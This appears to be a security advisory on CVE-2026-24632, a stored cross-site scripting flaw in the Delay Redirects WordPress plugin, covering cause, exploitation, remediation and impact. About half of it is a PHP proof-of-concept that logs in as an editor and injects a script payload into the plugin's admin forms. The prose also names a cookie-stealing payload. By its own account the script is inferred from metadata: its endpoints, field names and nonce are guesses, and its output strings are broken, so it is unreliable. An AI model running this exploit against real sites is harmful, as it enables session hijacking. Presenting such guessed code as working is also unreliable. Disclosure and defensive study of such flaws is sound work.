Atomic Edge analysis of CVE-2026-24632 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Delay Redirects WordPress plugin version 1.0.0. Attackers with editor-level permissions or higher can inject malicious scripts that persist in the site’s content. The vulnerability only affects WordPress multisite installations and single-site installations where the unfiltered_html capability is disabled. The CVSS score of 4.4 indicates medium severity with limited impact scope.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping. The plugin likely accepts user input through an administrative interface without proper validation. This input is then stored in the database and rendered on public pages without adequate escaping. These conclusions are inferred from the CWE-79 classification and vulnerability description, as no source code diff is available for confirmation. The requirement for editor-level access suggests the vulnerable functionality resides in an administrative area with capability checks but missing sanitization functions.
The exploitation method requires authenticated access with at least editor privileges. Attackers would navigate to the plugin’s administrative interface, likely accessible via WordPress admin menus. They would inject malicious JavaScript payloads into form fields that control redirect parameters. The exact endpoint is unknown, but WordPress plugin patterns suggest either a custom admin page (admin.php?page=delay-redirects) or an AJAX handler (admin-ajax.php?action=delay_redirects_action). A typical payload would be alert(document.cookie) or similar JavaScript to steal session cookies.
Remediation requires implementing proper input sanitization and output escaping. WordPress provides multiple functions for this purpose. Input validation should use sanitize_text_field() or wp_kses() with appropriate allowed HTML tags. Output escaping must use esc_html() or esc_attr() depending on context. The plugin should also implement proper capability checks using current_user_can() and nonce verification using wp_verify_nonce() for all administrative actions. These measures follow WordPress coding standards for security.
Successful exploitation allows attackers to execute arbitrary JavaScript in victims’ browsers. This can lead to session hijacking if cookies are stolen. Attackers could perform actions on behalf of authenticated users, including content modification or administrative actions. In multisite environments, this could affect multiple sites within the network. The stored nature means the payload executes whenever users visit the compromised page, potentially affecting numerous victims over time.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24632 - Delay Redirects <= 1.0.0 - Authenticated (Editor+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2026-24632
* This script demonstrates the stored XSS vulnerability in Delay Redirects plugin v1.0.0
* Assumptions based on WordPress plugin patterns:
* 1. The plugin has an admin interface accessible to editors
* 2. The vulnerable parameter accepts unsanitized input
* 3. The payload is stored and rendered on public pages
*
* WARNING: For authorized security testing only
*/
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'editor_user';
$password = 'editor_password';
// XSS payload - modify as needed for testing
$payload = '<script>alert("Atomic Edge XSS Test - CVE-2026-24632");</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
// Step 1: Get login page to retrieve nonce (if needed) and cookies
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Atomic-Edge-PoC/1.0'
]);
$response = curl_exec($ch);
// Step 2: Submit login credentials
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $login_data,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
// Step 3: Access plugin admin page
// Exact endpoint unknown - trying common patterns
$admin_endpoints = [
'/wp-admin/admin.php?page=delay-redirects',
'/wp-admin/admin.php?page=delay_redirects',
'/wp-admin/options-general.php?page=delay-redirects'
];
foreach ($admin_endpoints as $endpoint) {
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// If page exists (not 404), attempt injection
if (strpos($response, 'delay') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
// Step 4: Submit XSS payload
// Parameter names are unknown - using common patterns
$inject_data = http_build_query([
'delay_redirect_url' => $payload,
'delay_redirect_title' => $payload,
'delay_redirect_description' => $payload,
'submit' => 'Save Changes',
'nonce' => 'inferred_nonce_placeholder' // Nonce would need to be extracted
]);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $inject_data,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "[+] Payload submitted to $endpointn";
echo "[+] Check frontend pages for XSS executionn";
}
break;
}
}
curl_close($ch);
echo "[+] PoC execution completed. Verify payload appears on site pages.n";
?>
